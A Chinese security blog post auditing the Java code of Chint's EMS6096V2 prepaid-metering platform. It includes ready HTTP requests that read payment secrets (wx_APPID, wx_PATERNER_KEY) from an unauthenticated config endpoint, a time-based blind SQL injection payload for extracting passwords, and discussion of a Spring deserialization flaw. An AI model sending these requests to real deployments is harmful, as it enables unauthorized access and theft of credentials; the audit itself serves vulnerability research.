首页
Search
1
中国电信网关配置管理系统 代码审计
10 阅读
2
正泰预付费 代码审计
10 阅读
3
ShowDoc <=3.9.2 registerByVerify 未授权PHP代码注入漏洞分析
9 阅读
4
Ubuntu部署 Clash verge 代理节点
8 阅读
5
Apache HertzBeat 模板注入漏洞
8 阅读
代码审计
渗透测试
固件安全
漏洞复现
杂七杂八
原创文章
CVE
登录
Search
标签搜索
代码审计
漏洞复现
原创文章
杂七杂八
渗透测试
Java
PHP
.Net
Python
漏洞
Alanni
累计撰写
10
篇文章
累计收到
1
条评论
首页
栏目
代码审计
渗透测试
固件安全
漏洞复现
杂七杂八
原创文章
CVE
页面
搜索到
1
篇与
的结果
2025-09-29
正泰预付费 代码审计
正泰预付费(EMS6096V2) - 代码审计一、基本信息系统名称: 浙江正泰仪器仪表有限责任公司-预付费监控运营中心V2开发语言: java二、代码审计路由和全局过滤在 web.xml 下找到了 全局过滤处理方法<!-- Spring MVC Servlet --> <servlet> <servlet-name>Spring-Servlet</servlet-name> <servlet-class> org.springframework.web.servlet.DispatcherServlet</servlet-class> <init-param> <param-name>contextConfigLocation</param-name> <param-value> classpath:spring-*.xml </param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> <servlet-mapping> <servlet-name>Spring-Servlet</servlet-name> <url-pattern>*.do</url-pattern> </servlet-mapping>全局接口以 .do 结尾。跟进 它实现的 servlet-class 在 org/springframework/web/servlet/DispatcherServlet.java 的 doDispatch 找到了鉴权的具体实现。protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception { ModelAndView mv; HttpServletRequest processedRequest = request; HandlerExecutionChain mappedHandler = null; int interceptorIndex = -1; .... if (interceptors != null) { for (int i = 0; i < interceptors.length; i++) { HandlerInterceptor interceptor = interceptors[i]; if (!interceptor.preHandle(processedRequest, response, mappedHandler.getHandler())) { ......... }关键点在 interceptor.preHandle,跟进。是个接口要找到他具体的实现类。这里已经很清楚了public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { HandlerMethod method = (HandlerMethod) handler; Auth auth = (Auth) method.getMethod().getAnnotation(Auth.class); if (auth == null || auth.verifyLogin()) { String baseUri = request.getContextPath(); request.getServletPath(); SysTbluser user = SessionUtils.getUser(request); if (user == null) { response.sendRedirect(String.valueOf(baseUri) + "/login.shtml"); return false; } } return super.preHandle(request, response, handler); }通过 session 获取 user 信息,如果为空那么直接跳转到登录页面。下面继续我们的重点,不再过多阐述。1. 配置信息泄露@RequestMapping({"/GetSetting"}) @Auth(verifyLogin = false, verifyURL = false) public void GetSetting(String OptionName, HttpServletResponse response) throws Exception { Object szValue = EMSConfiguration.getParameterValue(OptionName); Map<String, Object> result = new HashMap<>(); result.put("value", szValue); HtmlUtil.writerJson(response, result); }关键代码如上,设置 Auth=false 不需要认证即可访问这个接口。 获取一个 OptionName 参数,跟进 getParameterValue。public static String getParameterValue(String parameterName) { return props.getProperty(parameterName); }具体实现如上,通过传递的键获取全局静态配置的值。全部代码如下:package ems.base.util; import java.io.FileNotFoundException; import java.io.IOException; import java.io.InputStreamReader; import java.util.Properties; import java.util.logging.Logger; public class EMSConfiguration { private static Logger logger = Logger.getLogger(EMSConfiguration.class.getName()); public static String Save_Image_Path = "E:/EMS6030/images/"; public static Integer Maximum_Fraction_Digits = 2; private static Properties props; static { loadProperties(); } public static void loadProperties() throws IOException { props = new Properties(); try { props.load(new InputStreamReader(EMSConfiguration.class.getClassLoader().getResourceAsStream("config.properties"), "UTF-8")); Save_Image_Path = props.getProperty("Save_Image_Path", Save_Image_Path); Maximum_Fraction_Digits = Integer.valueOf(props.getProperty("RESOURCEPACKAGE", String.valueOf(Maximum_Fraction_Digits))); } catch (FileNotFoundException e) { logger.info("Properties file not FOUND"); } catch (IOException e2) { logger.info("IOException: Properties file not FOUND"); } catch (NullPointerException e3) { logger.info("NullPointer: Properties file not FOUND"); } } public static String getParameterValue(String parameterName) { return props.getProperty(parameterName); } public static void main(String[] args) { System.out.println(getParameterValue("Maximum_Fraction_Digits")); } }首先 static { loadProperties();} 作为静态代码块,他被加载到 jvm 时会被执行一次,也就是说getParameterValue 它在被调用之前就会触发一次 loadProperties 自动加载配置文件。初始化:props = new Properties();可以看到 它通过 UTF-8 编码方式以字节流读取到了 config.properties 配置文件。props.load(new InputStreamReader(EMSConfiguration.class.getClassLoader().getResourceAsStream("config.properties"), "UTF-8")); Save_Image_Path = props.getProperty("Save_Image_Path", Save_Image_Path); Maximum_Fraction_Digits = Integer.valueOf(props.getProperty("RESOURCEPACKAGE", String.valueOf(Maximum_Fraction_Digits)));并设置默认值,读取 Save_Image_Path 如果不存在则默认为 Save_Image_Path 值。 第二个获取 RESOURCEPACKAGE 的值如果不存在也是同样使用默认值,并转换为 整数型。那么通过加载之后,可以通过 getParameterValue 指定方法获取 config.properties 的数据。读取配置信息。构造EXP:GET /EMS6096V2/GetSetting.do?OptionName=wx_APPID HTTP/1.1 Host: host User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36 GET /EMS6096V2/GetSetting.do?OptionName=wx_PATERNER_KEY HTTP/1.1 Host: host User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36 2. SQL注入系统依赖使用了 Mybatis 全局搜索 ${ 关键字 (即存在注入点)的语法。发现 BaseTbltimebucketMapper.xml 下的 checkUnique。<select id="checkUnique" resultType="java.lang.Integer" parameterType="Object"> select count(1) from sys_tbluser where ${paramName}='${paramValue}' </select>再次全局查找 checkUnique。在 com/base/service/BaseService.java 抽象类里找到public int checkUnique(String paramName, String paramValue) throws Exception { Map<String, String> paramMap = new HashMap<>(); paramMap.put("paramName", paramName); paramMap.put("paramValue", paramValue); return getDao().checkUnique(paramMap); }他是 int 类型,传递的参数 都为 String 符合预期,将参数传递到 HashMap 里,调用 checkUnique 进行SQL查询。Find use 一下 checkUnique 找到了一处调用。@RequestMapping({"/checkUnique"}) public void checkUnique(String paramName, String paramValue, HttpServletResponse response) { String result = BaseAction.SUCCESS; try { Integer count = Integer.valueOf(this.sysTbluserService.checkUnique(paramName, paramValue)); log.info("count:" + count + "paramName:" + paramName + "paramValue:" + paramValue); if (count != null) { if (count.intValue() > 0) { result = "fail"; } } } catch (Exception e) { e.printStackTrace(); log.error(e); } HtmlUtil.writerHtml(response, result); }通过接口发现 它是需要登录的,我们没环境无法登录;现在这个漏洞大概率是存在的,但无从考证 。首先,传递过来的参数(paramName, paramName) 都是 String 类型。 并直接传递到了 checkUnique 接口方法里,并没有进行过滤,Mybatis 的处理也调用了 ${} 基本大概率是可以 SQL注入的,基于 布尔类型。理论EXP:GET /EMS6096V2/sysTbluser/checkUnique.do?paramName=aa¶mValue=1%27+OR+%28SELECT+IF%28SUBSTR%28password%2C1%2C1%29%3D%27a%27%2C+SLEEP%285%29%2C0%29%29+--+%2B HTTP/1.1 Host: HOST User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36 3. 反序列化突然发现 他的 spring-boot 版本有点低,存在漏洞 org.springframework.web.servlet-3.1.1.RELEASE.jar 最简单的 RCE 漏洞 CVE-2016-1000027 触发反序列化。很简单的调用流程ReadObject 作为触发的矛头,跟进查找是哪里调用了 doReadRemoteInvocation。一整个链在这,循环调用。一直到 handleRequest 传递进来的 请求直接赋值给 readRemoteInvocation。跟进 handleRequest。@Override // org.springframework.web.servlet.HandlerAdapter public ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { ((HttpRequestHandler) handler).handleRequest(request, response); return null; }再次跟进就到了这里在全局过滤里,说到认证鉴权的部分;判断访问时时候登录,如果没登陆则步入 triggerAfterCompletion。他是无法走到 ha.handle 的,从而无法触发反序列化。具体流程(AI生成)
2025年09月29日
10 阅读
0 评论
0 点赞